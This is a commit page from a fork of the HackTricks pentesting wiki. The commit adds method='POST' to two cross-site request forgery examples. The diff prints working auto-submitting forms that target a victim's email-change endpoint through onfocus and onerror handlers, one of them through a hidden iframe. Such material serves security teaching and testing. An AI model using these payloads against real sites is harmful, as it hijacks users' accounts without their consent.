coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Merge pull request #637 from mdprain/mdprain-csrf-fix

Browse Source 
Add missing HTML form methods for POST exploits
This commit is contained in:
Carlos Polop 2023-05-26 11:31:07 +02:00 committed by GitHub
commit 65554df230
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
pentesting-web/csrf-cross-site-request-forgery.md
View File

@ -237,7 +237,7 @@ Other HTML5 tags that can be used to automatically send a GET request are:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://victim.net/email/change-email" id="csrfform">
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
@ -258,7 +258,7 @@ The request is sent through the iframe withuot reloading the page
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form action="/change-email" id="csrfform" target="csrfframe">
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>